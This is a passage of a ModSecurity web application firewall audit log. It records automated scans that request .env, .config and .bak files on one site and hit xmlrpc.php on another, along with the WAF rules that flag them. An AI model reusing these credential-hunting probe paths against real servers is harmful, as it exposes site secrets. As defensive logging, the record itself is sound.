for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a5ed6e05-Z-- --4d097f0d-A-- [16/Jun/2025:06:34:26.551986 +0530] aE9tmdNEcm-DhAkC0ibggQAAAAY 185.177.72.210 53060 127.0.0.1 7081 --4d097f0d-B-- GET /Configs/Current/authServerSettings.config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --4d097f0d-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8f204b06e6e4d9708964b77f9a22f9761750035866; expires=Mon, 16 Jun 2025 02:04:26 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --4d097f0d-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/Configs/Current/authServerSettings.config"] [unique_id "aE9tmdNEcm-DhAkC0ibggQAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035865890467 661602 (- - -) Stopwatch2: 1750035865890467 661602; combined=2632, p1=471, p2=2038, p3=0, p4=0, p5=122, sr=131, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --4d097f0d-Z-- --99755c2a-A-- [16/Jun/2025:06:34:30.739344 +0530] aE9tng9THibLN0xLxET0WAAAAAk 185.177.72.210 48626 127.0.0.1 7081 --99755c2a-B-- GET /:9000/prod/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --99755c2a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0553dc1a2259763c1267939098bd499b1750035870; expires=Mon, 16 Jun 2025 02:04:30 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --99755c2a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/prod/.env"] [unique_id "aE9tng9THibLN0xLxET0WAAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035870082256 657164 (- - -) Stopwatch2: 1750035870082256 657164; combined=1886, p1=382, p2=1407, p3=0, p4=0, p5=97, sr=99, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --99755c2a-Z-- --1470372c-A-- [16/Jun/2025:06:34:36.055285 +0530] aE9to7wLQO_9qxz2deDFPQAAAAw 185.177.72.210 48838 127.0.0.1 7081 --1470372c-B-- GET /:8888/front-end/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1470372c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=2d862756f556ab1fb82a0a10cf8f53071750035875; expires=Mon, 16 Jun 2025 02:04:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1470372c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/front-end/.env"] [unique_id "aE9to7wLQO_9qxz2deDFPQAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035875348955 706406 (- - -) Stopwatch2: 1750035875348955 706406; combined=1771, p1=404, p2=1259, p3=0, p4=0, p5=107, sr=89, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1470372c-Z-- --82741872-A-- [16/Jun/2025:06:34:41.573596 +0530] aE9tqIkQyF8-ounHsxsCfgAAAA8 185.177.72.210 56206 127.0.0.1 7081 --82741872-B-- GET /.docker/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --82741872-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c0acaa8b9484843afacfea14801ffc111750035881; expires=Mon, 16 Jun 2025 02:04:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --82741872-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.docker/.env"] [unique_id "aE9tqIkQyF8-ounHsxsCfgAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035880822829 750829 (- - -) Stopwatch2: 1750035880822829 750829; combined=2164, p1=487, p2=1599, p3=0, p4=0, p5=78, sr=117, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --82741872-Z-- --b98a9b6b-A-- [16/Jun/2025:06:34:43.526554 +0530] aE9tqroFnONBt7jRcByRWQAAAA4 185.177.72.210 56288 127.0.0.1 7081 --b98a9b6b-B-- GET /config.properties.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b98a9b6b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c365cfff74d533827432096da1f77c281750035883; expires=Mon, 16 Jun 2025 02:04:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b98a9b6b-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".properties.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".properties.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/config.properties.bak"] [unique_id "aE9tqroFnONBt7jRcByRWQAAAA4"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035882863063 663578 (- - -) Stopwatch2: 1750035882863063 663578; combined=2330, p1=326, p2=1890, p3=0, p4=0, p5=114, sr=92, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b98a9b6b-Z-- --088aea44-A-- [16/Jun/2025:06:34:54.252153 +0530] aE9ttbwLQO_9qxz2deDFRgAAAAw 185.177.72.210 33106 127.0.0.1 7081 --088aea44-B-- GET /lemonldap-ng-doc/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --088aea44-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ffef2ae3966437acee2b51bac670aea21750035894; expires=Mon, 16 Jun 2025 02:04:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --088aea44-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/lemonldap-ng-doc/.env"] [unique_id "aE9ttbwLQO_9qxz2deDFRgAAAAw"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035893610839 641376 (- - -) Stopwatch2: 1750035893610839 641376; combined=1998, p1=407, p2=1505, p3=0, p4=0, p5=85, sr=106, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --088aea44-Z-- --c4783744-A-- [16/Jun/2025:06:34:55.254746 +0530] aE9ttokQyF8-ounHsxsChgAAAA8 185.177.72.210 33130 127.0.0.1 7081 --c4783744-B-- GET /prestashop/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c4783744-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3f6c1991d33eb1d7ca81313e6cb157591750035895; expires=Mon, 16 Jun 2025 02:04:55 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c4783744-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/prestashop/.env"] [unique_id "aE9ttokQyF8-ounHsxsChgAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035894574012 680795 (- - -) Stopwatch2: 1750035894574012 680795; combined=1715, p1=376, p2=1244, p3=0, p4=0, p5=94, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c4783744-Z-- --70593865-A-- [16/Jun/2025:06:35:25.212972 +0530] aE9t1FXriBOgqnJNgkwlJgAAAAA 128.199.112.101 41272 127.0.0.1 7081 --70593865-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --70593865-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --70593865-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (49+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9t1FXriBOgqnJNgkwlJgAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035924276165 936865 (- - -) Stopwatch2: 1750035924276165 936865; combined=2411, p1=405, p2=1525, p3=81, p4=72, p5=202, sr=129, sw=126, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --70593865-Z-- --63432a5a-A-- [16/Jun/2025:06:35:49.489316 +0530] aE9t7A9THibLN0xLxET0egAAAAk 185.177.72.210 50162 127.0.0.1 7081 --63432a5a-B-- GET /.github/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --63432a5a-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=04b1d23d225b6db6c9b3299e2bdd2b181750035949; expires=Mon, 16 Jun 2025 02:05:49 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --63432a5a-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.github/.env"] [unique_id "aE9t7A9THibLN0xLxET0egAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035948679874 809549 (- - -) Stopwatch2: 1750035948679874 809549; combined=1955, p1=433, p2=1393, p3=0, p4=0, p5=129, sr=91, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --63432a5a-Z-- --d30c2c20-A-- [16/Jun/2025:06:35:57.775319 +0530] aE9t9YkQyF8-ounHsxsCoAAAAA8 185.177.72.210 38852 127.0.0.1 7081 --d30c2c20-B-- GET /xampp/index.php.bak HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --d30c2c20-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=9ed5c944804e5e434a9a6d10ff22272b1750035957; expires=Mon, 16 Jun 2025 02:05:57 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --d30c2c20-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".php.bak"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/xampp/index.php.bak"] [unique_id "aE9t9YkQyF8-ounHsxsCoAAAAA8"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035957089950 685432 (- - -) Stopwatch2: 1750035957089950 685432; combined=2051, p1=365, p2=1586, p3=0, p4=0, p5=99, sr=112, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --d30c2c20-Z-- --47c88152-A-- [16/Jun/2025:06:35:58.780506 +0530] aE9t9g9THibLN0xLxET0fgAAAAk 185.177.72.210 38888 127.0.0.1 7081 --47c88152-B-- GET /:8181/core/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --47c88152-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=1623c8798c607be6cc6b4397852e00e31750035958; expires=Mon, 16 Jun 2025 02:05:58 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --47c88152-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/core/.env"] [unique_id "aE9t9g9THibLN0xLxET0fgAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035958130836 649743 (- - -) Stopwatch2: 1750035958130836 649743; combined=2131, p1=529, p2=1490, p3=0, p4=0, p5=112, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --47c88152-Z-- --b5bc4e5e-A-- [16/Jun/2025:06:36:00.777599 +0530] aE9t-FXriBOgqnJNgkwlOAAAAAA 185.177.72.210 46820 127.0.0.1 7081 --b5bc4e5e-B-- GET /:8880/.env.save.1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b5bc4e5e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=c96c38a7dc8f1cb99ad708f03e8704951750035960; expires=Mon, 16 Jun 2025 02:06:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b5bc4e5e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/.env.save.1"] [unique_id "aE9t-FXriBOgqnJNgkwlOAAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035960124360 653300 (- - -) Stopwatch2: 1750035960124360 653300; combined=1636, p1=354, p2=1203, p3=0, p4=0, p5=78, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b5bc4e5e-Z-- --ba0ff21e-A-- [16/Jun/2025:06:36:09.763637 +0530] aE9uAQ9THibLN0xLxET0gwAAAAk 185.177.72.210 47184 127.0.0.1 7081 --ba0ff21e-B-- GET /:8080/.env_hidden HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --ba0ff21e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=3e47d77261c97958d87e205957b7de011750035969; expires=Mon, 16 Jun 2025 02:06:09 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --ba0ff21e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8080/.env_hidden"] [unique_id "aE9uAQ9THibLN0xLxET0gwAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750035969069075 694665 (- - -) Stopwatch2: 1750035969069075 694665; combined=2455, p1=529, p2=1806, p3=0, p4=0, p5=120, sr=113, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --ba0ff21e-Z-- --7fe5e25b-A-- [16/Jun/2025:06:36:26.034166 +0530] aE9uEbwLQO_9qxz2deDFawAAAAw 128.199.112.101 57452 127.0.0.1 7081 --7fe5e25b-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --7fe5e25b-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 